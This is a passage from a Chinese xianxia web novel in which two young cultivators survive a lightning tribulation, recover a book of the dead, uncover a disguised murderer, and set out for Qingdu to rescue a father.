每一次突破境界都会降下雷劫,他们在圣地中并没有被天道检测, 离开圣地后。 天道发现两名逃避天道规则的修士,于是两个人的雷劫汇聚一起, 威力亦是成倍增加。 “竟是九九雷劫,两小儿究竟是何人?”妖僧的声音穿透苍穹,清亮透彻。 听到他的声音,他们神魂都为之一颤,心中虽早已知晓他会堵截他们, 却没有想过竟是在这种雷劫的境况之下。 劫云宛如黑色的饕餮巨兽, 要将整个世界都吞噬一般,灭世的危机感笼罩在心头,雷霆在云层中不断汇聚。 前有雷劫,后有追杀,如此险象环生的事情竟然叫他们遇上了。 贺兰忱与沈云戚交换了个眼神, 不知道是不是双修过后更加心有灵犀了:不如,就让他来替我们挡雷劫吧。 那和尚御风而来,之前因为眼中横生的妖邪之气此时已然消失,身上的袈裟上红色流动的魔气也不见了,恢复了白底金纹的原本模样,那张悲天悯人的脸,倒是有了得道高僧的模样。 他眉眼带着笑, 正要开口,便被两个小子一人抓住一只脚,随后便用天级囚魔锁链直接绑了了起来,与此同时,贺兰忱还将一根巨大的链条挥向上空,当做引雷的作用。 “你们这是做什么?”万无不解的询问,也没有挣脱。 贺兰忱道:“帮我们顶一下雷劫,谢谢。” 沈云戚道:“你抢了我的宝物,总得还一下,这就叫因果!” 万无歪了一下脑袋,笑了一下,应道:“说的很有道理。” 此时天雷呈现万钧之势,朝着应劫之人落下,雷霆形成的巨龙,张着巨口,带着毁灭之势,所到之处所有的草木鸟兽全都化为劫灰。 雷电顺着引雷的锁链,朝着和尚劈去。 贺兰忱与沈云戚在雷劫降下之前,立即松开拽着锁链的手。 轰隆隆—— 世界变得一片惨白,视野里已经看不到任何其他的东西。 只有手中紧紧握住的人,才是唯一的。 贺兰忱紧紧的拉着沈云戚的手,不能松开。 此时此刻,他想的是,可不能把他也给劈失忆了。 贺兰忱张口说了句什么,被雷霆的声音淹没。 “我听不清。”沈云戚张口回他。 …… 风卷残云,雷劫过后,西山又多了一个天坑。 坑里的两个少年,很久之后才从爬起来。 他们虽未直面天雷,还是受到了波及,身上的衣服破破烂烂,他们立即从空间戒指里找了套新衣服换上。 沈云戚宛如劫后的小老鼠一样,从一堆小土包里爬出来,瞪大眼睛张望四周,生怕那妖僧没有被劈死,继续蹲守他们。 贺兰忱打了几个打喷嚏,耸了耸鼻子,道:“那和尚应该被劈死了,我们走吧。” “嗯嗯。”沈云戚也没有发现和尚的踪迹,于是便从坑里爬出来。 沈云戚正盘算着说:“我们去帝陵找我爹吧。” “喂,你们两个小崽子,该不会真当我死了吧?”万无得声音从头顶传来。 沈云戚仰头看去,一个巨大的佛像金身悬于苍穹之上,和尚则是轻飘飘的飞到了两个人面前,身上的袈裟甚至连一丝破损的痕迹都没有。 沈云戚不由瞪大了眼睛,喃喃道:“难道这就是传说中的法相?好酷炫啊。” “我什么时候也能练出来就好了。”贺兰忱也喃喃自语,男生永远无法拒绝变身,最好自己的法相可以自己diy,法相如果是奥特曼应该会很拉风吧. 这奇妙的想法不过刚刚过脑 ,他便意识到不对劲,要人命的人都在这里了,还在胡思乱想什么? 贺兰忱正要带着沈云戚逃难去,那和尚大手一捏,便抓住了沈云戚命运的后颈皮,像是提溜着一只小鸡仔一样。 “你放开我!!!”沈云戚愤怒大吼,“有本事我们二对一决战啊,你抓着我算什么?” “你们不是我的对手。”和尚淡笑着,手上的力气大了一些。 沈云戚怪叫一声,便现出了原型,变成了一条小金龙,他顿时慌了大喊道:“你知道我爹是谁吗?如果你杀了我,我爹肯定不会放过你的。” “原来是小金龙啊,难怪雷劫这么凶。”万无摸了摸下巴,若有所思道:“不过你们倒是聪明,大乘期的飞升雷劫,换做你们两个来顶,必定魂飞魄散。” 沈云戚根本无心听他说什么,满是屈辱的被他玩弄于股掌之间,翻来覆去的检查。 贺兰忱见小金龙在他手中就像是条小蚯蚓一样,根本动弹不得,都快被掐死了,赶紧求情道:“前辈,你不要跟师弟一般见识,你有什么问题,冲我来就是了,让你帮忙度雷劫,是我的主意,与他无关。” 沈云戚心中飞快的盘算着,神识已经探进了空间里,只要捏碎爹给他的保命玉佩,就能重伤这个和尚,换来逃生的机会。 万无却道:“怎么,帮你们顶了雷劫,还想弄死我?” 沈云戚一顿,原来修为境界差距大了之后,自己的一举一动全都在他的掌控之内,全然失去了主动性。 不过转念一想,他似乎并不想弄死自己。 沈云戚试探着询问:“大师,你为什么抓着我,我的宝物都被你拿去用了。” 万无这才想起来什么似的,将无相书拿出来,放在沈云戚面前。 小龙立即伸出两个爪爪,抱住自己的宝物。 “还你了,顺便给你修好了。”万无解释道。 “嗯?”沈云戚顿了一下,眨巴着眼睛看向他。 沈云戚立即展开无相书,卷轴似乎变得更长了,上面写满了密密麻麻的文字,他仔细看了一眼,发现了个熟悉的名字。 余郎财,宣武十年生,邺城财主,时年四十,抢民男被废,膝下有一子一女,名唤余观南和余胜男,卒于天元十年。 原来被补全了的无相书里,竟可以看到死者的生平。 贺兰忱也凑过来看了一眼,喃喃道:“难道这是生死簿吗?” “快来看看有没有什么八卦。”沈云戚立即瞪大了眼睛,死后连隐私都袒露出来,这不是人死之前必须要清空跟闺蜜的聊天记录和浏览器记录一样么。 虽然他知道这样不太好,可是他能看到这座城这个村与自己爹有关的事情,想要拼凑一下,自己没有穿来的时候,他爹过着什么样子的生活。 沈云戚因为太过认真,甚至都没有意识到自己早就被和尚放开了,小小的龙崽子趴在卷轴上认真寻找八卦。 贺兰忱目光警惕的看着那和尚,悄悄伸手摸了摸龙崽子的脑袋。 龙崽子忽然抬头,问道:“干嘛?” “看你可爱,想摸摸。”贺兰忱继续摸他脑袋,眼睛却偷偷瞟了一眼危险的和尚。 趁着他走神之际,贺兰忱立即将地上的小金龙一把抓起来,踹进兜里赶紧跑路。 此时不跑更待何时啊? 万无看到两个狗狗祟祟的小孩,不禁摇摇头,真是两个鬼灵精。 沈云戚一只手还拽着无相书,很快便将东西收了起来。 这一路也不知道往哪里去,缩地成寸,一眼万里。 贺兰忱用尽灵力,只求跑到最远的地方,眨眼睛两个人到达一处荒无人烟的沙漠,贺兰忱一屁股坐在地上,踹在怀里的小金龙好整以暇的抱着无相书看八卦了。 一双金灿灿的眼睛,认真又专注,显然没有被任何外界的事情所干扰,心态好得很。 “不知道那个和尚还会不会追过来?”贺兰忱喃喃道。 “追来也没事,我觉得他并不想害我们。”沈云戚随便看了一眼这个书,发现里面多了很多不属于邺城亡魂的东西。 贺兰忱问道:“何出此言?” “我有一个想法,可能这个和尚也是好人吧,还记得小说里,不是有个高僧坐镇无相寺吗?他有一件伏魔袈裟,他应该也是度化了很多亡灵,最后被妖邪反噬,所以堕落成了邪僧,他抢走我的无相书,便将那些无法入轮回的妖魔鬼怪引去了轮回之中。”沈云戚解释道。 贺兰忱恍然大悟:“难怪他还修复了无相书,给我们挡雷劫也是心甘情愿的吧。” “嗯。”沈云戚是从书中看来的。 贺兰忱顿时又有些遗憾,道:“早知如此,我就该让他教我一下如何练出法相,看上去就很拉风。” “是啊。”沈云戚畅想了一下,法相如果是奥特曼就好了。 一人一龙同时感慨了一番,沈云戚仰头,看到贺兰忱也在垂眸看他。 沈云戚:…… “咳咳,我还是先变回人吧。”沈云戚赶紧从他怀里钻出来。 小金龙摇身一变,就成了美少年。 贺兰忱还坐在地上,微微喘着气,伸手道:“拉我起来。” “这么虚?”沈云戚不解的说道。 贺兰忱嘴角抽了抽,反驳道:“一天不说老公的坏话,就浑身痒吗?” “……”沈云戚抬手将他拉起来。 贺兰忱还是浑身无力的样子,趴在他的肩头。 沙漠中,远远的有一个商队牵着驼货的骆驼走在沙丘上,狂沙漫天,他们走得艰难,远远的天际沙尘暴正在汇聚。 商队为首的男人看到两个少年在沙漠中,身上也没有带个行囊,赶紧冲着他们大喊道:“快点找个地方躲起来,沙尘暴要来了。” 沈云戚看清了对方的脸,顿时惊了一下,这跟三十多岁的样子,头上裹着布,一张脸露在外面,脸上虽然还长着胡子,可是他还是认出了那个人。 “你们两个小孩怎么回事?我说要来沙尘暴了。”他心急如焚的从远处跑了过来,脚一深一浅的踩在沙里,窝窝囊囊的摔倒了,从沙坡上滚了下来。 沈云戚赶紧冲过去,将沙袋一样的人定住了,赶紧灰头土脸的人从地上扶了起来,喊道:“秋生叔叔?” 陈秋生还在呸呸呸的吐沙子,看着眼前精致俊朗的少年,丝毫不似在沙漠中赶路之人,更像是贵公子。 重点是,他竟然知道自己的名字。 沈云戚抓住他的胳膊,确定道:“你是秋生叔叔对吧,陈秋生!!” “啊,对的,你怎么知道,我认识你吗?”陈秋生挠了挠脑袋,有些茫然,搜索着自己的记忆,眼前的少年周身贵气,生的还这么好看,若是他见过,必然是不会忘记的。 可是,搜索了一番,完全没有任何映射。 “我是小戚啊,沈云戚,是你的邻居!”沈云戚惊喜的说道。 陈秋生更加茫然了,眼中透着不解,而后赶紧道:“先别小戚小八了,沙尘暴来了,我们赶紧找个地方躲起来才是!” 第 90 章 救命恩人说,邺城将灭。…… 商队将骆驼绑在原地, 他们躲在了沙漠中废弃客栈的地窖中。 沈云戚见到秋生叔很激动,跟他说了很多话。 “我爹真的没有骗我,真的有缘还会再见的!”沈云戚感慨万千。 陈秋生则是一脸痴呆的茫然模样, 他说:“我祖籍确实是荷花村的, 曾经也是秀才, 可是我二十年前就离开那了,你现在应该是十九岁还是二十岁?你说我是你邻居, 在你四五岁的时候,也就是天元八年的时候, 我跟你一起去京城,这不可能,我清楚的记得,那一年我夫人生了二胎,我因为养活不了家人, 决定弃文经商了。” 沈云戚听到这话, 脸上的笑容不由僵了一下,问道:“真的吗?” “对啊,当年想要去赶考来着,在路上遇上山贼了。”陈秋生挠了挠头,十分不好意思的说道, “后来有个好心人救了我,醒来的时候,我就在涿州边界了。” “可是涿州距离邺城,有几万里,难道你是飞过来的?”沈云戚上下打量了一番陈秋生,他毫无修为灵力。 陈秋生正经的点点头,道:“对对对, 救我的那个人说,邺城不宜久居,很快就会不存在了,让我在涿州生活不要回去,后来我也听说邺城成了死城,他真是我的救命恩人啊。” 沈云戚听到这话,不由愣住了:“你说的那个人,长什么样子?难不成他有预知未来的本事?” 陈秋生听到这话,认同的点点头,道:“神仙嘛,肯定有预知未来的本事。” “能够预言邺城被屠的人,自己本身就是凶手。”贺兰忱凉凉的回答。 陈秋生一听这话,顿时恼了:“你这后生怎么说话的?若他是凶手的话,为什么要救我啊,留下我这个人证?” 沈云戚赶紧转移话题,道:“陈叔,那你有什么双胞胎兄弟么,见你背井离乡不在了,便顶了你的户籍喝功名?” “不可能,我父母虽然生有兄弟,可是都早早夭折了,只剩我一人。”陈秋生说到这里不由感慨,“这也是我为什么要经商的原因,我一定要承担起养家的责任。” 沈云戚疑惑的打量了一眼陈秋生,确实生的一模一样,可是却又不太对得上。 那,当年跟他们一起上京城的人是谁了? 沈云戚又问:“那你还记得你救命恩人长什么样子吗?” 陈秋生警惕的看着他,道:“为什么给你看,你不是怀疑我恩人是杀人犯吗?” “是他说的,我可没说。”沈云戚赶紧撇清关系,眼珠子转了一下,道,“我猜救你的人可能是我爹,我爹可是很厉害的修士哦。” 陈秋生顿时来了兴趣,问道:“那你说说,你爹长什么样子,看看跟我恩人是否符合?” 沈云戚声音慢悠悠的,道:“我爹是个男的,身高很高,墨色的长发,单束着。” 陈秋生一听这话,顿时瞪着眼睛道:“你这说谁都可以,你小子套我话了。” “诶诶,等等。”沈云戚赶紧阻止想要走开的陈秋生。 贺兰忱立即道:“我来说吧,他爹长得很好看,一看就是仙人,腰上配件,剑术很好,对吧?” “对对对,恩人也是。”陈秋生稍稍信了一些。 贺兰忱与沈云戚对视一眼:是剑修。 “因为修真人士都是冰肌玉骨的,只能说他的专有特征了,他的衣服很特别,上面有金色的绣纹,可以感觉到有金光流转,是不是?”贺兰忱立即又说。 沈云戚愣了一下,心说他这说的不就是—— “对对对,他的眼睛也很特别,一半是金色的,一半是琥珀色的。”陈秋生立即说道。 “身上绣纹是兰花。”贺兰忱笃定道。 “是的,没错,看来我的恩人就是你爹,你爹近来可好?”陈秋生满怀欣喜地说道。 沈云戚点点头,压下心中的惊讶。 原来救了陈秋生的人竟然是伯疏流。 那是不是意味着,他爹从荒古圣地中出来后,他就找到爹了? 那他为什么不跟爹相认了?还有那个邻居的“陈秋生”也是伯疏流假扮的吧? 其实这很好猜,二牛哥死的时候,他超度二牛的时候就看到过他的记忆。 他们被叛修罗,和尚他们追至荒古圣地之时,分明已经是绝境了。 胡淳志却突然出现,替他们挡了致命一击。 进入圣地的人,还有胡淳志。 胡淳志奄奄一息了,老人参将自己这些年攒着的人参须喂给他吃,却无济于事。 胡淳志拽着沈云戚的手,那双诡异的眼睛盯着他。 “二牛哥,你坚持一下。”沈云戚反握住他的手。 胡淳志摇摇头,道:“我……我早就该死了,可是我不甘心……咳咳,我不想死……” 沈云戚给他喂下丹药,解释道:“没有谁是该死的,你很坚强,如果我是你的话,我做不到你这样。” 胡淳志笑了笑,道:“我下辈子不想当人了,真的好累。” “二牛哥。”沈云戚喃喃着说不出话来,转头问老人参,“参爷爷,他……真的没救了吗?” 老人参面露苦色,道:“他能活到现在,已经是上天垂怜,逆天而行了。” 胡淳志笑了笑,嘴里吐出血泡,他声音很低很低:“小戚,弄脏了你的衣服。” 他抬手轻轻替他擦了擦被血水弄脏的衣服,十分小心翼翼的样子,沈云戚道:“不要紧的,没事的,我……答应过你,一定会荷花村看你的,可是我没有做到。” “没事,现在你不是回来了吗?”胡淳志道,“小戚,一定要查明白,是谁杀了荷花村的所有人,一定要查清楚,为什么会有人假装沈叔叔,我知道那不是沈叔叔,可是我不知道他是谁。” “会的,我会的。”沈云戚说着眼泪流了出来。 他已经不知道多少年没有哭过了。 “小戚,我还有最后一个问题想问你。” “你说。”沈云戚道。 胡淳志似有些不甘的问道:“你……你真的不记得我的名字了吗?” 沈云戚呆住了,在天决城相见的那日,他说他叫胡淳志,他却不知道那是谁。 他不知道二牛的名字,因为他在荷花村只呆了几个月,原本的沈云戚大约是知道的,可是他无法给他回答。 胡淳志撑不住了,死了也无法闭上眼睛,他的眼皮早就被削掉了。 那些背负在他身上的死灵,没了这个寄宿的身体,也都纷纷跑了出来,可是在荒古禁制中,却哪里都去不了。 沈云戚从这些死灵中看到了二牛是如何活下来的记忆。 冬日,死寂的荷花村,所有人都死绝了。 二牛黄昏时分从外婆家回来,在冰冷的户外躺了好久好久,他终于恢复了知觉,他害怕恐惧,什么都看不见,却又不敢呼救。 他从地上爬起来,不知道跌倒多少次撞倒多少次,才终于摸索回到了家。 胡家的人也都死了,可是他却不知。 后娘给他拿来了吃的,温柔的问道:“二牛,你怎么了?” “娘,刚刚我看到了有个坏人,他伤了我,我看不见了。”二牛恐惧的喊道,以前他颇有微词的后娘成了他唯一的依靠。 后娘道:“二牛,别怕,吃点药,吃了药就好了。“ “呜呜,娘,我好疼。”二牛哭着,可是眼中全是血泪。 在他看不到的地方,后娘刨出了二牛爹的心脏,剁碎了给他吃…… 二牛吃了觉得不对,可是他不敢说,瑟瑟发抖的吃着。 他不知道那段日子,过着什么样的生活,吃的都是什么东西,与自己为伴的人究竟是什么怪物。 那是兔妖,不过也只是死灵一个。 村里没有一个活人,二牛其实早就猜到了村子里的人全都被灭口了。 夜里,他开始听到有人说话的声音,是他爹和他哥的声音。 “哎呀,这次野物太狠了,二牛快点长大,也可以跟我们一起上山打猎。” “叫上沈叔叔一起便好。” “你老沈叔已经去京城了,再也不会回来了。” 二牛从床上坐起来,磕磕巴巴的问道:“爹,是你吗?你回来了吗?” “二牛啊,你别翻身,压着爹了。”胡大勇说道。 二牛此时在惊恐的发现,他腰上长着一张脸,伸手摸的时候,还被他哥骂了一顿:“你手戳我鼻子上来了。” 二牛彻底吓傻了,很快,荷花村的所有人都长在了他的身上,或者说,这些人的灵魂寄生在了他的身上,通过吃掉他们尸体的方式。 二牛成了个怪物,日日生活在恐惧中,荷花村被灭的事情很快传了出去,因为收不上赋税了。 衙门找到了二牛,发现如此可怕的二牛,顿时将他当做怪物,要烧死他。 就在要烧死他的那一日,城中的所有人都被杀了。 二牛又死里逃生,他的六只眼睛都看到了,凶手是当年杀掉荷花村的人,那个很像沈叔叔的人。 “你是谁?你为什么要杀那么多人?”二牛声嘶力竭的大喊道。 “你,不,是,认,识,我,吗?”他转过脸,可是视线里确实模糊一片。 长久的昏迷之后,二牛开始流浪,最后遇上了还魂宗的彩蝶,她要炼制傀儡,可是每一个傀儡都很差,直到遇到二牛,她觉得这是一具完美的傀儡,恐怖,坚强。 彩蝶对二牛进行了秘术改造,从此之后,他就再也不能称之为人了。 …… 渡魂结束,无相书便被和尚的抢了。 现在无相书重新回到沈云戚的手中,还是完整版的,沈云戚不忍看胡淳志的人生日志,现在他知晓了凶手是谁,忍不住打开看一眼。 可是他的一生,只有一行字。 胡淳志死于天元十一年夏。 沈云戚想到那个装作陈秋生的伯疏流,他忽然想明白了一些事情,为什么如此脆弱的书生,却可以跋涉云山一个月,在那个食人镖头的手中活下来,还有无相寺的时候他也逃过了。 他是始作俑者,自然不会因此丧命。 后来他想死遁来着,却被他和爹送到了京城救治,还讨来了许多丹药。 最后丧生妖蛟腹中,其实并没有死,而是舍弃了陈秋生的身份。 他回去灭了无相寺,灭了邺城。 再后来出现在帝陵秘境中,在无尽海域中杀了所有的修士,将各大宗门的修士都杀断层了。 沈云戚顺着这个逻辑链想下去。 你真聪明啊,你已经知道真相了,快点去将他的真面目揭露出来。 可是却还有些疑点,伯疏流的眼睛不是异瞳,为什么陈秋生见到的伯疏流的眼睛是一个金色一个琥珀色? “对了,我这里还有恩人的画像,你要看看吗?”陈秋生说着,拿出一个随身携带的卷轴。 贺兰忱和沈云戚走上前去看。 画卷展开,陈秋生说道:“这画是我辗转之下得到的,跟我的恩人长得一模一样,所以就高价买下来了。” 贺兰忱看到了画卷中的人了,那是一副十分精妙的画作。 画作中是一个执剑的修士,男生女相,被画师画成了女子的模样,眼睛上还被红色的朱砂笔涂了一抹红。 当年,贺兰忱觉得这画中的人就是沈云戚长大时候的模样。 现在旧画重现眼前,反倒更像沈君钦了,与沈云戚相貌差别倒是有些大。 难道……那凶手每次行凶的时候都扮作沈君钦的模样?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-94 第 91 章 阿钦真的是太爱我了…… 沙尘暴过后, 沈云戚打算送陈秋生一行人到达月照国再离开。 陈秋生现在俨然已经相信沈云戚是他救命恩人的儿子,虽可以知晓画中人不是眼前人,但是相貌是相似的。 陈秋生又问了许多关于沈家父子在荷花镇生活的事情。 沈云戚一一作答了, 后来他离开了荷花村, 之后没有多久荷花村和整个邺城便被屠杀了。 陈秋生听到这里, 不由沉默了片刻,自圆其说道:“看来恩人让我离开, 自己待在那,想必是要守护荷花村。” “什么?”沈云戚惊呼出声。 “因为恩人知晓邺城会被灭, 肯定是看到了未来,所以留在那处,你看他在那的时候,荷花村和邺城风调雨顺,他肯定觉得危机已经过去了, 所以才离开的。”陈秋生自言自语的推测道。 他自认为很有道理, 后又补充了一句道是:“也有可能因为恩人守护着,所以坏人不敢来犯,坏人一直在暗中伺机而动,等他一走,便立即开始屠杀。” 沈云戚听到这话, 脸色微微泛白,眼中透出一些难以置信。 当初是他要求离开的,若是按照原文的剧情,沈君钦是在他十岁的时候才带他去奉天城。 小说里,邺城被屠杀了吗? 沈云戚有些想不出来。 贺兰忱眼看着他脸色不对,赶紧说道是:“陈大叔你真的太会联想了,我们现在已经大致知晓凶手是谁了, 把你们送到月照国后,便立即去手刃仇人,帮邺城枉死的万千生灵报仇。” 说着便将沈云戚拉到自己身边,单手搂住他的腰,凑在他耳边询问:“怎么了,脸色这么差?” “没什么。”沈云戚摇摇头。 陈秋生也看他脸色不佳,赶紧拿出水袋,道:“喝口水吧,是不是第一次来沙漠,不适应?” 沈云戚本想拒绝的,思索了一下,还是接过了水袋,打开盖子假装喝了一口。 他并不口渴,只是不希望大家担心自己,现在身处沙漠,也不知道什么时候才能到达下一个补水点,他害怕自己把水喝完了,陈秋生他们就没有水喝了。 带领着商队在沙漠中走了半日,便到了月照国的地界。 到了城门口,守门士兵要查询通关文书,商队自然是有的,可贺兰忱与沈云戚没有这东西。 陈秋生还在那说让人通融一下,自己两个侄子是来游玩的,并不是商队的人。 沈云戚对陈秋生道:“陈叔,没事,我还有旁的事情要做,不进去也不要紧。” “难得来一次,进去玩玩呗。”陈秋生背井离乡这么多年,难得遇上老乡,十分舍不得。 贺兰忱道:“陈叔,下次,下次我们有机会再来看你。” 陈秋生恋恋不舍的看着他们,略显苍老的眼中满是舍不得,见两人真的要走了,忽然想起了什么,摸了摸身上,找到了一个锦囊,交到沈云戚的手中,道:“这个给你,是恩人当年给我的,现在也算是物归原主吧。” “这是什么?”沈云戚不解的结果锦囊。 陈秋生挠了挠头,道:“不知道,肯定是仙人的宝物吧。” 锦囊不似普通的凡物,送到沈云戚的手中时,吹拂过了一阵风,莹莹的光芒照耀在他的脸上,里面的东西温柔,柔软,充满了神性。 好熟悉的感觉。 沈云戚一时半会想不出来怎么回事,还是道了谢,思来想去,决定回他一个礼物。 “这个东西送给你,若是你遇上危险,便将它砸碎,可以保你一命。”沈云戚将爹留给他的保命符送给了陈秋生。 他有种预感,可能背后的凶手会来找他麻烦。 这个横贯人间,修真界,乃至鬼界的大事件,总不会这么简单的。 陈秋生诚惶诚恐的接下,看着那保命玉佩有些怔愣,道:“可是这东西,对我这凡夫俗子来说没用。” “没用最好,我就安心了。”沈云戚笑了笑。 陈秋生心情复杂的收了起来。 他站在墙头,目送着两个少年离开,对着他们的背影摇摇挥手,直到两个人消失在漫天黄沙中。 陈秋生幽幽的长舒了一口气,身边走来一个女子,问道:“饶了这么大的圈子,有必要吗?” 陈秋生不言,嘴角扬起淡淡的笑,道:“为了圣主,我必须这么做。” 女子不置可否的笑了笑,打量着眼前老实巴交的人,他的容貌很快变了,变成了伯疏流的模样,而他的眼睛便是他口中说的,一只是金色的一只是琥珀色的。 若是沈云戚还在现场,就能发现,他身边的女子也是当年见过的月照国圣女。 从月照国回仙岛花了好几日。 帝陵秘境每次只开一日,想必爹爹们也都回去了。 他们回家就能看到爹爹们,届时他要将伯疏流做过的恶事全都告知爹爹,再考虑该如何处置这人。 他们刚回到仙岛,便闻到了扑面而来的血腥味。 原本仙气缭绕的神仙居所,此时魔气纵生,此处不能被称为仙岛了,或许叫魔岛更为适合。 沈云戚心中顿时大惊,赶紧冲进屋子里,发现浑身是血的黑龙躺在地上,身上多处伤痕宛如烧焦了一般,还有剑伤。 “爹!”沈云戚赶紧冲上去,将地上的黑龙扶起来,“你别死啊!” 此情此景,沈云戚心里想到的便是,他爹恢复记忆了,所以把渡妄给砍了,不然强大如渡妄,怎么会受这么重的伤,奄奄一息感觉马上就要死了。 贺兰忱也赶紧冲过来,拿出丹药给他吃,一边道:“师尊,你怎么了?二师父怎么不在这里?” “对呀,我爹去哪里了?”沈云戚又急又慌。 渡妄吃了丹药之后,稍稍缓了一口气,从黑龙变成了人样,他脸上全是血,说话却中气十足骂骂咧咧:“我一定要报仇,那些道貌岸然的狗屁修真人士,真是脸都不要,你,还有你,你们两个回来的正好,随本尊带着魔界众生攻上清都,杀光那些修士。” “师尊,你少说几句话,你的血在往外喷。”贺兰忱看到血都溅到了沈云戚的脸上了。 沈云戚则是茫然无措,不知如何处置的傻样。 贺兰忱赶紧自己上手,按住了他身上的伤口,上药包扎。 正常情况下,渡妄这种修为的修士,无论受了多重的伤,只要命没丢,吃点灵丹妙药很快就会伤口愈合的,且不说好全,至少不会一直出现血溅当场的情况。 渡妄看到自己的伤口被包扎了,呆了一下,道:“谁让你包扎的,多管闲事,待会阿钦回来看到我好了,肯定就不心疼了。” “师尊,二师父究竟在哪里啊?”贺兰忱继续追问,“你身上的伤是怎么来的?” 沈云戚也是满脸焦急的看他,还喊了一声:“爹,你快点说吧。” “咳咳。”渡妄忽然面露难色,一脸尴尬的说道,“你爹他为了救我,被关在了永恒磨盘里,不过你放心,那些仙门有打开永痕磨盘的宝物,我们这就去抢来。” 贺兰忱赶紧问道:“是帝陵秘境第三层?” “对啊,哎,阿钦真的是太爱我了,为了让我离开,还假装跟我反目成仇,将我打伤,生怕我不愿意一个人离开,但是我知道他的良苦用心。”渡妄自圆其说,并且对沈君钦的爱深信不疑。 小崽子是他的孩子,小崽子的魂魄需要父亲们的爱意重新凝结。 渡妄发现了这个秘密。 于是他便爱上了自己,小崽子丢失的魂魄也成型了。 沈云戚听到渡妄夸张的说辞,心中咯噔了一下,果然,最担心的事情还是发生了。 他爹爱上了坏爹,就会想杀了他。 而傻爹还以为爹是爱他,才把他打伤的。 渡妄思索了一番,将凝结的魂魄递到沈云戚的手中,声音难得温和道:“宝宝,你不知道吧,你小时候魂丢了,我跟你爹把它找回来了。” “什么、时候的事情,我我为什么不记得了?”沈云戚脸色有些发白,不敢伸手去接那个自己丢掉的魂魄。 渡妄挠了挠头,解释道:“就是你小时候啊,听你爹说你四岁的时候丢的,你爹这些年一直在找,你拿着吧,魂魄丢失,容易滋生心魔,更甚者会被外来的孤魂夺舍。” 沈云戚听到这话,浑身僵直,更加不敢去接了。 外来的魂夺舍了?他就是那个外来的邪魂吗? 他爹一直都知道,一直在找他丢掉的魂,哦不,是在找原本的沈云戚丢掉的魂。 他是一个鸠占鹊巢,占据别人身体,命运和父亲的孤魂野鬼吗? 沈云戚不是第一次有这样的想法,从很早之前,他偶尔便会蹦出这样的想法,不过都被压下去了。 他害怕自己得到的幸福都是偷别人的,偷走了原本属于沈云戚的命运。 他本来不叫这个名字的。 当他认可自己是沈云戚之后,他爹竟然找到了亲生儿子丢掉的魂魄。 所以,他回来了,那自己要去哪里? 他爹一直都知道这个事情对吗? “怎么不要啊?”渡妄催促着,不是很懂。 “我爹……说留给我的礼物,就是这个么?”沈云戚说话的声音发涩,竟然不知道该如何面对这些。 第 92 章 沈云戚便捧着他的脸,在…… 从魔界到清都, 路途不算遥远,不过两日就能到达。 原本渡妄也要跟他们一起的,但是他说一句话吐一口血的, 看上去很严重, 只能让他先闭关修养了。 临走时, 沈云戚欲言又止。 渡妄问道:“怎么了?” “你该不会闭关闭着就陨落了吧?”沈云戚还是忍不住问出口来。 渡妄立即气不过,转而又笑道:“不会的, 你爹我能天地同寿。”说罢,还揉揉他的脑袋, “宝宝啊,你跟你爹一样,就是不会表达对我的喜欢,我都懂。” 如果他没有被砍成这么重的伤,兴许他们就信了。 沈云戚听了他的话, 心思却更重了。 离开仙岛之后, 都没有笑过。 期间沈不忘还联系过他两次。 他也话很少,只道:“爹,你放心,我一定会救你出来的,到时候、一家三口就团聚了。” 沈不忘却说:“你们不要去清都, 我很快可以自己出去。” “嗯。”沈云戚应道。 话虽然这么说,他却没有丝毫要退缩的意思,像是笃定了要上仙山,要去万千修士神往的清都。 贺兰忱是跟他最熟悉的人,早早就发现了他的不对劲。 此时的他又有些熟悉,不像是从爹身边长大的那个戚宝,更像21世纪的他。 沉默, 冷寂,时时刻刻都一副心事重重的样子。 就连跟他最爱的爹说话都有气无力的样子,态度十分敷衍。 夜里到了清都山下的风间谷,接驳的地方便是此处,修了几十座房子,立于悬崖峭壁之上,被浮云遮挡看不见山时,便像是落在云间的仙境。 他们两没有仙门大会的邀约,到达风间谷的时候还被拒绝入住。 若是以往,沈云戚肯定会据理力争一下,或者想办法跟人沟通一下,住下来。 这接待的长老分明就生着一副,你给我灵石,打点一下关系,我就让你入住的脸。 出人意料的是,他被拒绝了,便点点头说了句:“好,那我去别的地方看看吧。” “这清都方圆百里都没有地方住。”长老疯狂暗示。 沈云戚愣了一下,尚未开口,贺兰忱便道:“那我们住这里吧,两块上品灵石够吗?” 长老分明两眼一亮,却装模作样的说道:“这是平日的价格,现在可不是这个价。” 贺兰忱正想加价,沈云戚却按住了他的手,摇摇头。 贺兰忱沉默片刻,他们最不缺的就是灵石,就仙岛那一大座岛,随便扣一块下来便是极品灵石。 他们不缺灵石,沈云戚却不想花钱了。 这是什么原因了? “还住不住?再不住,就没有房子了,只要再加一块灵石。”长老提醒道。 贺兰忱赶紧摆摆手,道:“算了,我们本来就是修士,风餐露宿惯了,没有必要住在这。” “欸欸,两个灵石也行。”长老赶紧挽留。 沈云戚去意已决,直接离开风间谷。 长老颇有些遗憾的望着人远去,一转身,他看到少主和七姑娘站在身后,也在看着两个远去的人。 “少少主,七姑娘,你们怎么来了?”长老顿时汗流浃背了,他赚外快的事情该不会被发现了吧。 查布雨道:“随便来看看,对了,这些人中有那个俞观南吗?” “没、没有,这个人从来没来过。”长老道。 七姑娘柔柔的开口道:“也有可能是来了,被赶走了。” “你是说刚刚那两个人吗?”查布雨挑眉问道。 “感觉很熟悉。”七姑娘声音幽幽传来,她一身白色的衣服,头上还披着白色的布幔,正好挡住了脸,看着透出一股诡异感。 “唔,可能确实是故人。”查布雨沉吟片刻,道,“不要紧,反正仙门大会上,你总有机会对上俞观南的,你是我们蓬莱海阁的七小姐,不会输给他的。” 七姑娘捏紧了手中的长剑,很快又松开,声音很轻很轻的说道:“嗯。” “到时候你拿仙门大比的魁首,再给我们蓬莱海阁打一波知名度。”查布雨畅想道,“要是能把这些仙宗的仙山都买下来就好了,让他们每年给我灵石当租子。” 七姑娘默默听着,没有应答。 沈云戚与贺兰忱又往前走了几十公里,到了一处正版风间谷的地儿。 这里住宿的弟子稀稀落落,人气寥落,接待他们的长老十分热情,价格还便宜。 问起来原因,才知道外面那家风间谷是别人私下建的,价格贵但是地理位置好,总是以假乱真,截断了他们一大半的客源,简直有苦说不出啊。 贺兰忱这才恍然大悟,赞叹道:“宝啊,你真的太聪明了,一眼就看出那是假的奸商。” 他顺势就将胳膊搭在了沈云戚的肩头上,姿态十分亲昵。 沈云戚也没有意见,贺兰忱看了他一眼,问道:“你看上去心事很重,是不是担心拿不到第一名?” 